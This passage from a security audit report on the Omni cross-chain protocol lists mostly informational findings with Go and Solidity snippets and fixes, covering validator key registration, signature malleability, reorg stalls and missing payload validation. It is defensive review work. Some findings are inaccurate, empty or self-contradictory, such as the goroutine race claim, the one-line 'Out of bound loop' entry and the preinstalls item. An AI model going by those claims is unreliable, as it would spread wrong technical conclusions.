    accAddr := sdk.AccAddress(ev.Validator.Bytes()) // @POC: take Ethereum address from `msg.sender`
    valAddr := sdk.ValAddress(ev.Validator.Bytes()) // @POC: take Ethereum address from `msg.sender`

    amountCoin, amountCoins := omniToBondCoin(ev.Deposit)

    if _, err := p.sKeeper.GetValidator(ctx, valAddr); err == nil {
        return errors.New("validator already exists")
    }

    p.createAccIfNone(ctx, accAddr)

    if err := p.bKeeper.MintCoins(ctx, ModuleName, amountCoins); err != nil {
        return errors.Wrap(err, "mint coins")
    }

    if err := p.bKeeper.SendCoinsFromModuleToAccount(ctx, ModuleName, accAddr, amountCoins); err != nil {
        return errors.Wrap(err, "send coins")
    }

    log.Info(ctx, "EVM staking deposit detected, adding new validator",
        "depositor", ev.Validator.Hex(),
        "amount", ev.Deposit.String())

    msg, err := stypes.NewMsgCreateValidator(
        valAddr.String(),
        pubkey,             // @POC: register the public key
        amountCoin,
        stypes.Description{Moniker: ev.Validator.Hex()},
        stypes.NewCommissionRates(math.LegacyZeroDec(), math.LegacyZeroDec(), math.LegacyZeroDec()),
        math.NewInt(1)) // Stub out minimum self delegation for now, just use 1.
    if err != nil {
        return errors.Wrap(err, "create validator message")
    }

    _, err = skeeper.NewMsgServerImpl(p.sKeeper).CreateValidator(ctx, msg)
    if err != nil {
        return errors.Wrap(err, "create validator")
    }

    return nil
}
```

Then, during signature validations, the `valAddr` will not correspond to the signer account.

For example, calls to `k1util.Verify` will fail in `Vote.Verify`:

```
func (v *Vote) Verify() error {
    // ...

    ok, err := k1util.Verify(
        sigTuple.ValidatorAddress, // @POC: validator Ethereum address is not the one recovered from the
↪   signature
        attRoot,
        sigTuple.Signature,
    )
    if err != nil {
        return err
    } else if !ok {
        return errors.New("invalid attestation signature")
    }

    return nil
}
```

- Recommendation

Consider ensuring that the public key passed as parameter corresponds to the validator's Ethereum address before registering the validator.

3.7.82 The `latestAttestation` call in the `Approve` function can be optimized

Severity: Informational

Context: keeper.go#L283, keeper.go#L290

- Description

In the `Approve` function defined in the `attest/keeper/keeper.go`, the `latest attestation` for the `xChainVersion` of the `Status_Pending` attestations is derived as shown below:

```
                latest, found, err := k.latestAttestation(ctx, att.XChainVersion())
```

The above line of code can be optimized by replacing the `att.XChainVersion()` with the `chainVer` which has been already computed in a previous line of code :

```
        chainVer := att.XChainVersion()
```

- Recommendation

Hence recommended to optimize the `latestAttestation` call as shown below:

```
                latest, found, err := k.latestAttestation(ctx, chainVer)
```

The above change will remove the redundant call to the `att.XChainVersion()`.

3.7.83 Insight: Consider SafeTransfer

Severity: Informational

Context: OmniBridgeL1.sol#L66

- Insight Report Consider using SafeTransfer, as some implementations of ERC20 don't revert to failure. Since the default ERC20 supplied by OpenZeppelin does revert, this is not an active issue, but therefore a recommendation.

3.7.84 Race conditions when lazy loading blocks

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

The problem lies in the way `voter::Start(...)` is implemented.

```
File: voter.go
125: func (v *Voter) Start(ctx context.Context) {
126: @> for _, chain := range v.network.Chains {
127:         for _, chainVer := range chain.ChainVersions() {
128: @>          go v.runForever(ctx, chainVer) // @audit CONCURENCY issues
129:         }
130:     }
131: }
```

- it uses `ctx` in the goroutine which is not thread safe and also Concurrent access to `ctx` can result in inconsistent or corrupted state
- It creates a goroutine for each `v.network.Chains` and as shown above, `v.runForever()` uses a WaitGroup (wg) to wait for the goroutines to finish before returning the response. However, there's a subtle race condition due to how the `chainVer` variable is captured by the goroutine.

```
File: voter.go
157: func (v *Voter) runForever(ctx context.Context, chainVer xchain.ChainVersion) {
158:     v.wg.Add(1)
159: @> defer v.wg.Done()
160:
////SNIP ................
176: }
```

this is a problem because each goroutine is sharing the same `chainVer` variable. Since the loop iterates quickly, the value of `chainVer` can change before a goroutine gets a chance to use it (considering that its in a loop).

The `voter::Start(...)` function is used in the `lazyvoter::LazyLoad()` to start and set the voter as shown below

```
File: lazyvoter.go
064: func (l *voterLoader) LazyLoad(

/////SNIP    ..............

189: @> v.Start(ctx)
190:
191:     return nil
192: }
```

- Impact This leads to unpredictable behavior, as multiple goroutines (in the loop) might end up processing the **same** `chainVer`.
- Recommendation To resolve this issue, we need to ensure that each goroutine gets its own copy of the `chainVer` variable. we can achieve this by passing the variable by value to the goroutine. This enables each goroutine (in the loop) to operate using it's own value of `chainVer`.

3.7.85 Out of bound loop

Severity: Informational

Context: *(No context files were provided by the reviewer)*

a loop

3.7.86 XGasLimits need to properly set on all chains to prevent DoS

Severity: Informational

Context: OmniPortal.sol#L138

- Description Each source chain sets the min and max gas limits for an `xcall()` for **all** destination chains that it supports (no per-chain limits). Different destination chains might have different max block gas limits and opcode costs. It is not documented how and if these parameters are chosen to avoid a permanent DoS of the bridge via users setting too low or too high gas limits.

It's important that:

1) `xmsgMinGasLimit` is set to a value larger than 63 * cost(code after to.excessivelySafeCall) for **all supported destination chains**.
2) `xmsgMaxGasLimit` is set to a value smaller than the max block gas limit **of all destination chains**.

- Recommendation Abide by the above recommendations to avoid DoS.

3.7.87 No relayer incentives & Syscalls don't pay fees

Severity: Informational

Context: OmniPortal.sol#L491

- Description There is no incentive for relayers to `xsubmit` the messages. They need to pay for the gas but don't receive anything in return. The chain currently relies on Omni or other parties to operate relayers at a loss.

Furthermore, the syscalls do not collect any fees unlike other XMsgs sent by users. There is currently no sustainable way to finance syscall message deliveries. If the validator set is updated, which will happen at every block once the validators are not permissioned anymore and users delegate, the expense of broadcasting all the validator updates to all chains will be high and there needs to be a mechanism to incentivise relayers to relay these.

- Recommendation Relayers should receive an incentive. This could be financed by the fee collected by the `OmniPortal` owner on each chain via `collectFees()`. Syscalls that don't pay fees need to be subsidized, for example, through inflation - validator rewards that go to the community pool and are earmarked for relaying syscall messages.

3.7.88 Enabling broadcast chainId for Portal breaks message delivery

Severity: Informational

Context: OmniPortal.sol#L146, OmniPortal.sol#L242

- Description Syscalls can enable new networks using the `OmniPortal.setNetwork()` function. There is a special broadcast chain id that is used by the consensus chain to broadcast validator set and network updates. If this broadcast network is enabled for a Portal, relayers will have to relay it to all registered chains in the `PortalRegistry`. A broadcast will be sent from the source chain to the special "broadcast" chain id. It will receive a message offset `outXMsgOffset[boradcastChainId][shardId]` separate from all other destination chain IDs.

```
outXMsgOffset[broadcastChainId][shardId] += 1;
```

However, for the receiving OmniPortal, the source chain is a single stream offset that doesn't differentiate between messages sent directly to this destination chain or to the broadcast chain id:

```
require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
// @audit a message broadcasted from sourceChainId shares the same offset as non-broadcasted messages from
↪  sourceChainId
require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
```

The broadcasted message's offset will likely not be the next one in line and cannot be executed. The impact is that the message will be stuck. Broadcasted messages via `xsubmit()` do not work for normal users.

- Recommendation Do not enable the broadcast chain id for a Portal. The broadcast channel should stay restricted to the consensus chain.

3.7.89 Unconditional Acceptance of Empty Vote Extensions Could Lead to Vote Skipping

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary The current implementation automatically accepts empty vote extensions without any validation of whether the validator should have votes to extend. This could allow validators to skip providing required votes.
- Finding Description Current Implementation

```
votes, ok, err := votesFromExtension(req.VoteExtension)
if err != nil {
    log.Warn(ctx, "Rejecting invalid vote extension", err)
    return respReject, nil
} else if !ok {
    return respAccept, nil  // <-- Issue: Unconditional acceptance
}
```

- Impact Explanation
- Validators could skip providing required votes
- Just send empty extensions
- No validation of whether they should have votes
- Recommendation (optional) Add validation for empty extensions:

```
func (k *Keeper) VerifyVoteExtension(...) (*abci.ResponseVerifyVoteExtension, error) {
    votes, ok, err := votesFromExtension(req.VoteExtension)
    if err != nil {
        log.Warn(ctx, "Rejecting invalid vote extension", err)
        return respReject, nil
    }

    // Check if validator should have votes
    hasVotes, err := k.validatorHasVotes(ctx, req.ValidatorAddress)
    if err != nil {
        return nil, err
    }

    if !ok && hasVotes {
        // Empty extension but validator should have votes
        log.Warn(ctx, "Rejecting empty vote extension from validator with pending votes")
        return respReject, nil
    }

    return respAccept, nil
}

func (k *Keeper) validatorHasVotes(ctx context.Context, valAddr []byte) (bool, error) {
    // Check if validator has any votes to extend
    // Implementation depends on how votes are tracked
}
```

This ensures validators can't skip providing required votes by sending empty extensions.

3.7.90 Non S-normalized signatures are not accepted by the Portal contract

Severity: Informational

Context: Quorum.sol#L50-L54, k1util.go#L47-L67

- Description

The `Portal.xsubmit` function will call `Quorum.verify` to verify the signatures attached to an attestation. This function uses the ECDSA library from OpenZeppelin. This library forbids the use of signature with `S > secp256k1.N / 2` to avoid signature malleability.

However, the Omni validators allow signatures with `S > secp256k1.N / 2`.

This will end up in a situation where the attestations are validated on the Omni chain through non s-normalized signatures, but are not verifiable on the `Portal` contract.

- Impact

Cross-chain messages are not verifiable.

- Code snippet

The `Portal.xsubmit` function calls `Quorum.verify`. This function uses the ECDSA library from OpenZeppelin which forbids malleable signatures.

```
    function tryRecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address,
↪  RecoverError) {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the
↪  signature
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf),
↪  defines
        // the valid range for s in (301): 0 < s < secp256k1n  2 + 1, and for v in (302): v  {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half
↪  order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a
↪  new s-value
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to
↪  28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to
↪  accept
        // these malleable signatures as well.
        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
            return (address(0), RecoverError.InvalidSignatureS);
        }
```

However, the `k1util.Verify` function used by validators does not implement such check, allowing malicious validators to create signatures that will be invalid on the Portal contract.

```
// Verify returns whether the 65 byte signature is valid for the provided hash
// and Ethereum address.
//
// Note the signature MUST be 65 bytes in the Ethereum [R || S || V] format.
func Verify(address common.Address, hash [32]byte, sig [65]byte) (bool, error) {
    // Adjust V from Ethereum 27/28 to secp256k1 0/1
    const vIdx = 64
    if v := sig[vIdx]; v != 27 && v != 28 {
        return false, errors.New("invalid recovery id (V) format, must be 27 or 28")
    }
    sig[vIdx] -= 27

    pubkey, err := ethcrypto.SigToPub(hash[:], sig[:])
    if err != nil {
        return false, errors.Wrap(err, "recover public key")
    }

    actual := ethcrypto.PubkeyToAddress(*pubkey)

    return actual == address, nil
}
```

Note that `k1util.Verify` uses `go-ethereum/crypto` library, the same library used for `ecrecover` opcode in the EVM. It is prone to signature malleability.

- Recommendation

`k1util.Verify` must deny the use of malleable signatures during the signatures verification.

The same type of check done by OpenZeppelin must be implemented in `k1util.Verify` to ensure that only s-normalized signatures are accepted.

Note: This may require changes in the `k1util.Sign` function too.

3.7.91 Observation: Latest streams will stall on reorgs until the finalized head catches up

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

This seems to be intentional but I am still including it as an observation: the latest streams will stall on reorgs until the finalized head catches up. This is because of how reorgs are handled in `voter.go`:

```
func (v *Voter) runOnce(ctx context.Context, chainVer xchain.ChainVersion) error {
    chain, ok := v.network.Chain(chainVer.ID)
    if !ok {
        return errors.New("unknown chain ID")
    }

    maybeDebugLog := newDebugLogFilterer(time.Minute) // Log empty blocks once per minute.
    first := true                                     // Allow skipping on first attestation.

    // Use actual chain version to calculate offset to start voting from (to prevent double signing).
    _, skipBeforeOffset, err := v.getFromHeightAndOffset(ctx, chainVer)
    if err != nil {
        return errors.Wrap(err, "get from height and offset")
    }

    // Use finalized chain version to calculate height and offset to start streaming from (for correct offset
↪   calcs).
    finalVer := xchain.ChainVersion{ID: chainVer.ID, ConfLevel: xchain.ConfFinalized}
    fromBlockHeight, fromAttestOffset, err := v.getFromHeightAndOffset(ctx, finalVer)
    if err != nil {
        return errors.Wrap(err, "get from height and offset")
    }

    log.Info(ctx, "Voting started for chain",
        "from_block_height", fromBlockHeight,
        "from_attest_offset", fromAttestOffset,
        "skip_before_offset", skipBeforeOffset,
        "chain", v.network.ChainVersionName(chainVer),
    )

    req := xchain.ProviderRequest{
        ChainID:   chainVer.ID,
        Height:    fromBlockHeight,
        ConfLevel: chainVer.ConfLevel,
    }

    tracker := newOffsetTracker(fromAttestOffset)
    streamOffsets := make(map[xchain.StreamID]uint64)
    var prevBlock *xchain.Block

    return v.provider.StreamBlocks(ctx, req,
        func(ctx context.Context, block xchain.Block) error {
            if !v.isValidator() {
                return errors.New("not a validator anymore")
            }

            if err := detectReorg(chainVer, prevBlock, block, streamOffsets); err != nil {
                reorgTotal.WithLabelValues(v.network.ChainVersionName(chainVer)).Inc()
                // Restart stream, recalculating block offset from finalized version.

                return err
            }
prevBlock = &block

            if !block.ShouldAttest(chain.AttestInterval) {
```

```
                maybeDebugLog(ctx, "Not creating vote for empty cross chain block")

                return nil // Do not vote for empty blocks.
            }

            attestOffset, err := tracker.NextAttestOffset(block.BlockHeight)
            if err != nil {
                return errors.Wrap(err, "next attestation offset")
            }

            // Create a vote for the block.
            attHeader := xchain.AttestHeader{
                ConsensusChainID: v.cChainID,
                ChainVersion:     chainVer,
                AttestOffset:     attestOffset,
            }

            if attestOffset < skipBeforeOffset {
                maybeDebugLog(ctx, "Skipping previously voted block on startup", "attest_offset",
↪   attestOffset, "skip_before_offset", skipBeforeOffset)

                return nil // Do not vote for offsets already approved or that we voted for previously (this
↪   risks double signing).
            }
    ...

// detectReorg returns an error if a reorg is detected based on the following conditions:
// - Previous block hash doesn't match the next block's parent hash.
// - Stream offsets are not consecutive.
func detectReorg(chainVer xchain.ChainVersion, prevBlock *xchain.Block, block xchain.Block, streamOffsets
↪   map[xchain.StreamID]uint64) error {
    if prevBlock == nil {
        return nil // Skip first block (without previous).
    }

    if prevBlock.BlockHeight+1 != block.BlockHeight {
        return errors.New("consecutive block height mismatch [BUG]", "prev_height", prevBlock.BlockHeight,
↪   "new_height", block.BlockHeight)
    }

    for _, xmsg := range block.Msgs {
        offset, ok := streamOffsets[xmsg.StreamID]
        if ok && xmsg.StreamOffset != offset+1 {
            return errors.New("non-consecutive message offsets", "stream", xmsg.StreamID, "prev_offset",
↪   offset, "new_offset", xmsg.StreamOffset)
        }

        // Update the cursor
        streamOffsets[xmsg.StreamID] = xmsg.StreamOffset
    }

    if block.BlockHash == (common.Hash{}) {
        return nil // Skip consensus chain blocks without block hashes.
    }
    if prevBlock.BlockHash == block.ParentHash {
        return nil // No reorg detected.
    }

    if chainVer.ConfLevel.IsFuzzy() {
        return errors.New("fuzzy chain reorg detected", "height", block.BlockHeight, "parent_hash",
↪   prevBlock.BlockHash, "new_parent_hash", block.ParentHash)
    }

    return errors.New("finalized chain reorg detected [BUG]", "height", block.BlockHeight, "parent_hash",
↪   prevBlock.BlockHash, "new_parent_hash", block.ParentHash)
}
```

We stream blocks until we detect that a reorg occurs (when the next block's parent hash is not equal to the previous block's hash) and then, we will restart the stream. An important thing to note is that, when the reorg occurs, we will return to the finalized head but will not revote for any blocks until `skipBeforeOffset` to prevent any double signing. Once the finalized head catches up to the `skipBeforeOffset`, only then we will continue voting for the latest stream.

Since voters will not vote, the latest streams will stall until the finalized head catches up.

3.7.92 Missing Gas Validations in ExecutableData

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary The parseAndVerifyProposedPayload function lacks validation for GasLimit and GasUsed, potentially allowing blocks with invalid gas parameters.
- Finding Description

```
func (k *Keeper) parseAndVerifyProposedPayload(...) {
    var payload engine.ExecutableData
    // No gas validations
}
```

Missing Validations

```
type ExecutableData struct {
    GasLimit uint64  //  No min/max validation
    GasUsed  uint64  //  No comparison with limit
}
```

- Impact Explanation
- Blocks with excessive gas limits
- Blocks using more gas than limit
- Recommendation (optional)

```
const (
    MinGasLimit = 5000       // Minimum for basic txs
    MaxGasLimit = 30_000_000 // Maximum allowed
)

func validateGasParameters(payload *engine.ExecutableData) error {
    // Check gas limit range
    if payload.GasLimit < MinGasLimit || payload.GasLimit > MaxGasLimit {
        return errors.New("invalid gas limit",
            "gas", payload.GasLimit,
            "min", MinGasLimit,
            "max", MaxGasLimit)
    }

    // Check gas used vs limit
    if payload.GasUsed > payload.GasLimit {
        return errors.New("gas used exceeds limit",
            "used", payload.GasUsed,
            "limit", payload.GasLimit)
    }

    return nil
}
```


3.7.93 There are no incentives and punishment for validator attestations

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description Blockchain works because of incentives and punishment. There are incentives when the right thing is done such as mining or proposing a valid block, and punishment when the wrong thing is done such as missing, wrong or double vote.

Another responsibility of each validator in halo is to vote for each correct attestation. But there's no incentive when validators do that. On the other end, there's no punishment when the validator does not vote or votes wrongly. Therefore, there's no motivation for a validator to vote right. They could just lay back and don't vote or try out various malicious votes without consequence.

- Recommendation Use incentives to motivate the validators to vote right and punishment to deter them from abstention or bad votes.

3.7.94 Consider adding ActiveSetByHeight to gRPC query service

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

`valsync` module `ActiveSetByHeight` is present in `query.go` but not present in the gRPC query service in `query.proto` it is used in the provider though.

```
// Query defines the gRPC querier service.
service Query {
  rpc ValidatorSet(ValidatorSetRequest) returns (ValidatorSetResponse) {}
}
```

Consider adding it to the querier service if unintentional. However extra care should be taken, because as the comment says:

```
// ActiveSetByHeight returns the active cometBFT validator set at the given height. Zero power validators are
↪  skipped.
// Note: This MUST only be used for querying last few sets, it is inefficient otherwise.
// Note2: We could add an index, but that would be a waste of space.
func (k *Keeper) activeSetByHeight(ctx context.Context, height uint64) (*ValidatorSet, []*Validator, error) {
```

The height can be set to 0 and attacker can query the entire `valTable` consuming resources for the node so this must be fixed if want to expose `ActiveSetByHeight` through the query service.

3.7.95 Unchecked account creation failure can lead to lost funds

Severity: Informational

Context: evmstaking.go#L245

- Summary The `createAccIfNone` function in the EVM staking processor does not check for errors when setting a new account, which could lead to silent failures and permanent loss of minted tokens in certain scenarios.
- Finding Description The `createAccIfNone` function creates and sets new accounts but doesn't handle potential failures:

```
func (p EventProcessor) createAccIfNone(ctx context.Context, addr sdk.AccAddress) {
    if !p.aKeeper.HasAccount(ctx, addr) {
        acc := p.aKeeper.NewAccountWithAddress(ctx, addr)
        p.aKeeper.SetAccount(ctx, acc)  // @audit - No error checking
    }
}
```

The `SetAccount` method can fail for several reasons:

1. Storage errors in the underlying database
2. State conflicts
3. Account validation failures
4. Out of gas scenarios
5. Panics in account initialization hooks

The critical path where this failure can occur:

```
// In deliverCreateValidator:
p.createAccIfNone(ctx, accAddr)  // May silently fail - @audit
if err := p.bKeeper.MintCoins(ctx, ModuleName, amountCoins); err != nil { ... }
if err := p.bKeeper.SendCoinsFromModuleToAccount(ctx, ModuleName, accAddr, amountCoins); err != nil { ... }

// In deliverDelegate:
p.createAccIfNone(ctx, delAddr)  // May silently fail - @audit
if err := p.bKeeper.MintCoins(ctx, ModuleName, amountCoins); err != nil { ... }
if err := p.bKeeper.SendCoinsFromModuleToAccount(ctx, ModuleName, delAddr, amountCoins); err != nil { ... }
```

- Impact Explanation Let's dig into the impact of this:

1. **Direct Financial Impact**:
    - Minted tokens could be permanently lost if account creation fails
    - EVM deposits are non-recoverable after event processing
    - User funds would be lost without any error indication
2. **System State Inconsistency**:
    - EVM state would show successful deposit
    - Cosmos state would lack the corresponding account
    - Minted coins could be stuck in module account
3. **Silent Failure Mode**:
    - No error reporting to users
    - No error logs for operators
    - Makes debugging and recovery extremely difficult

- Likelihood Explanation Rated as **MEDIUM** likelihood because:

1. Account creation involves complex state operations
2. Can occur during high network load
3. Database issues could trigger this in production
4. Multiple validators might experience this differently

- Recommendation

1. Modify `createAccIfNone` to handle errors:

```
func (p EventProcessor) createAccIfNone(ctx context.Context, addr sdk.AccAddress) error {
    if !p.aKeeper.HasAccount(ctx, addr) {
        acc := p.aKeeper.NewAccountWithAddress(ctx, addr)
        if err := p.aKeeper.SetAccount(ctx, acc); err != nil {
            return errors.Wrap(err, "failed to create new account")
        }
    }
    return nil
}
```

2. Update calling functions:

```
func (p EventProcessor) deliverCreateValidator(ctx context.Context, ev *bindings.StakingCreateValidator) error
{
    // ...
    if err := p.createAccIfNone(ctx, accAddr); err != nil {
        return errors.Wrap(err, "create account")
    }
    // ...
}

func (p EventProcessor) deliverDelegate(ctx context.Context, ev *bindings.StakingDelegate) error {
    // ...
    if err := p.createAccIfNone(ctx, delAddr); err != nil {
        return errors.Wrap(err, "create account")
    }
    // ...
}
```

3.7.96 Missing LogsBloom Validation in parseAndVerifyProposedPayload

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary he LogsBloom field in ExecutableData lacks size and format validation, potentially allowing invalid bloom filters.
- Finding Description Current Implementation

```
func (k *Keeper) parseAndVerifyProposedPayload(...) {
    var payload engine.ExecutableData
    // No  validations about Logs
}
```

- Impact Explanation Critical Event Failures:
- Missing or incorrect event detections
- Failed transaction monitoring
- Broken event-dependent applications
- Unreliable cross-chain operations

Data Reliability Issues:

- Inconsistent event indexing
- Corrupted historical queries
- Recommendation (optional)

```
const BloomByteLength = 256  // Standard Ethereum bloom filter size

func validateLogsBloom(payload *engine.ExecutableData) error {
    if payload.LogsBloom == nil {
        return errors.New("nil logs bloom")
    }

    if len(payload.LogsBloom) != BloomByteLength {
        return errors.New("invalid bloom filter size",
            "size", len(payload.LogsBloom),
            "expected", BloomByteLength)
    }

    return nil
}
```

3.7.97 Missing ExtraData Size Validation Could Lead to Bloat

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary The ExtraData field lacks size limits, potentially allowing oversized extra data in blocks.
- Finding Description

```
func (k *Keeper) parseAndVerifyProposedPayload(...) {
    var payload engine.ExecutableData
    // No  validations about extraData
}
```

- Impact Explanation Block Size Issues:
- Excessive block sizes
- Network congestion
- Storage bloat
- Recommendation (optional) add validation aout extraData

3.7.98 Excess ETH Not Refunded During Bridge Operation

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary

In the `_bridge` function of `OmniBridgeL1` contract, when users send more ETH than required for the bridge fee, the excess amount is not refunded.

All sent ETH is forwarded to the portal contract, potentially leading to users losing funds unnecessarily.

- Finding Description

In the OmniBridgeL1 contract:

```
function _bridge(address payor, address to, uint256 amount) internal {
    require(amount > 0, "OmniBridge: amount must be > 0");
    require(to != address(0), "OmniBridge: no bridge to zero");

    uint64 omniChainId = omni.omniChainId();
    bytes memory xcalldata = abi.encodeCall(
        OmniBridgeNative.withdraw,
        (payor, to, amount, token.balanceOf(address(this)) + amount)
    );

    // Only checks if msg.value is >= required fee
    require(
        msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT),
        "OmniBridge: insufficient fee"
    );

    require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");

    // Forwards entire msg.value without refunding excess
    omni.xcall{ value: msg.value }(
        omniChainId,
        ConfLevel.Finalized,
        Predeploys.OmniBridgeNative,
        xcalldata,
        XCALL_WITHDRAW_GAS_LIMIT
    );

    emit Bridge(payor, to, amount);
}
```

Issues:

No refund of excess ETH

All msg.value forwarded to portal

User pays more than necessary

No way to recover excess fees

- Impact Explanation

The impact is rated as Medium because:

Direct financial loss for users

Affects every overpaid transaction

- Likelihood Explanation

The likelihood is rated as High because:

Easy to overpay fees accidentally

Common user behavior to send excess

Happens in normal protocol operation

- Proof of Concept (if required)
- Recommendation (optional)

Implement fee refund mechanism:

```
contract OmniBridgeL1 is OmniBridgeCommon {
    function _bridge(address payor, address to, uint256 amount) internal {
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(to != address(0), "OmniBridge: no bridge to zero");

        uint64 omniChainId = omni.omniChainId();
        bytes memory xcalldata = abi.encodeCall(
            OmniBridgeNative.withdraw,
            (payor, to, amount, token.balanceOf(address(this)) + amount)
        );

        // Calculate exact fee
        uint256 requiredFee = omni.feeFor(
            omniChainId,
            xcalldata,
            XCALL_WITHDRAW_GAS_LIMIT
        );

        require(msg.value >= requiredFee, "OmniBridge: insufficient fee");

        require(
            token.transferFrom(payor, address(this), amount),
            "OmniBridge: transfer failed"
        );

        // Only forward required fee
        omni.xcall{value: requiredFee}(
            omniChainId,
            ConfLevel.Finalized,
            Predeploys.OmniBridgeNative,
            xcalldata,
            XCALL_WITHDRAW_GAS_LIMIT
        );

        // Refund excess
        uint256 excess = msg.value - requiredFee;
        if (excess > 0) {
            (bool success, ) = payor.call{value: excess}("");
            require(success, "OmniBridge: refund failed");
            emit FeeRefunded(payor, excess);
        }

        emit Bridge(payor, to, amount);
    }

    event FeeRefunded(address indexed recipient, uint256 amount);
}
```

3.7.99 Missing Transaction Validation Could Lead to Block Overload

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary The Transactions field lacks size and count limits, potentially allowing oversized or too many transactions.
- Finding Description

```
func (k *Keeper) parseAndVerifyProposedPayload(...) {
    var payload engine.ExecutableData
    // No  validations about transactions
}
```

```
type ExecutableData struct {
    Transactions [][]byte  //  No size/length validation
}
```

- Impact Explanation
- Oversized blocks

- Too many transactions
- Processing delays
- Recommendation (optional)

```
const (
    MaxTxsPerBlock = 1000       // Maximum transactions per block
    MaxTxSize      = 128 * 1024 // 128KB per transaction
)

func validateTransactions(payload *engine.ExecutableData) error {
    // Check transaction count
    if len(payload.Transactions) > MaxTxsPerBlock {
        return errors.New("too many transactions",
            "count", len(payload.Transactions),
            "max", MaxTxsPerBlock)
    }

    // Check each transaction size
    for i, tx := range payload.Transactions {
        if len(tx) > MaxTxSize {
            return errors.New("transaction too large",
                "index", i,
                "size", len(tx),
                "max", MaxTxSize)
        }

        if len(tx) == 0 {
            return errors.New("empty transaction",
                "index", i)
        }
    }

    return nil
}
```


3.7.100 Missing Critical Fields in Submission Conversion Functions

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary The SubmissionFromBinding function fails to copy several critical fields when converting from binding to internal submission types, which could lead to data loss and incorrect state transitions.
- Finding Description In the SubmissionFromBinding function, several critical fields are missing during conversion:

```
func SubmissionFromBinding(sub bindings.XSubmission, destChainID uint64) (Submission, error) {
    // In Msg conversion:
    msgs = append(msgs, Msg{
        MsgID: MsgID{
            StreamID: StreamID{
                // sourceChainId missing
                DestChainID: msg.DestChainId,
                ShardID:     ShardID(msg.ShardId),
            },
            StreamOffset: msg.Offset,
        },
        // txHash missing
        // fees missing
    })

    // In BlockHeader:
    BlockHeader: BlockHeader{
        ChainID:   sub.BlockHeader.SourceChainId,
        BlockHash: sub.BlockHeader.SourceBlockHash,
        // blockHeight missing
    },
}
```

- Recommendation (optional)

```
func SubmissionFromBinding(sub bindings.XSubmission, destChainID uint64) (Submission, error) {
    // ...
    msgs = append(msgs, Msg{
        MsgID: MsgID{
            StreamID: StreamID{
                SourceChainID: sub.BlockHeader.SourceChainId,  // Add source
                DestChainID: msg.DestChainId,
                ShardID: ShardID(msg.ShardId),
            },
            StreamOffset: msg.Offset,
        },
        TxHash: msg.TxHash,         // Add hash
        Fees: msg.Fees,             // Add fees
        // ...
    })

    // ...
    BlockHeader: BlockHeader{
        ChainID:     sub.BlockHeader.SourceChainId,
        BlockHash:   sub.BlockHeader.SourceBlockHash,
        BlockHeight: sub.BlockHeader.SourceBlockHeight,  // Add height
    },
    // ...
}
```

3.7.101 Missing Portal Struct Validations Could Lead to Invalid Chain Registration

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary The Portal struct in the registry keeper lacks comprehensive validation of its fields, potentially allowing invalid portal registrations that could affect cross-chain operations.
- Finding Description Current Implementation

```
func (p *Portal) Verify() error {
    //  Chain ID check
    if p.GetChainId() == 0 {
        return errors.New("zero chain id")
    }

    //  Address length check
    if len(p.GetAddress()) != common.AddressLength {
        return errors.New("invalid address length")
    }

    //  Shard existence check
    if len(p.GetShardIds()) == 0 {
        return errors.New("no shards")
    }

    //  Duplicate shard check
    dupShards := make(map[uint64]bool)
    for _, s := range p.GetShardIds() {
        if dupShards[s] {
            return errors.New("duplicate shard id")
        }
        dupShards[s] = true
    }

    return nil
}
```

```
type Portal struct {
    ChainId        uint64   //  Validated: non-zero check
    Address        []byte   //  Validated: length check
    DeployHeight   uint64   //  No validation
    ShardIds       []uint64 //  Validated: non-empty and duplicates
    AttestInterval uint64   //  No validation
    BlockPeriodNs  uint64   //  No validation
    Name           string   //  No validation
}
```

- Recommendation (optional) add validations to all of above parameters

3.7.102 All other codes from the preinstalls are inaccessible asides the permit 2 template

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

Omni repurposes Optimism's Preinstall contract in other to access stored bytecodes or constant addresses from the contract, idea can be seen here: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/octane/Preinstalls.sol#L3-L9

```
/**
 * @title Preinstalls
 * @notice Contains constant addresses for non-protocol predeployed contracts.
 *         This contract is repurposed from Optimism's Preinstalls.sol. ERC1820Registry was added.
 * @custom:attribution https://github.com/ethereum-optimism/optimism/blob/26e7d370d/packages/contracts-bedrock
↪  /src/libraries/Preinstalls.sol
 */
```

That is, this is done with an addition of the `ERC1820Registry` issue however is that both the added `ERC1820Registry` implementation and the rest of the contract are functional, which is because the `getDeployedCode` functionality has been removed

```
-   function getDeployedCode(address _addr, uint256 _chainID) internal pure returns (bytes memory out_) {
↪   bytes internal constant ERC1820RegistryCode =
-       if (_addr == Multicall3) return Multicall3Code;
..snip
-}
```

As shown in the small snippet above, this functionality is expected to be used to query this and get these deployed code that was the sole purpose of the contract.

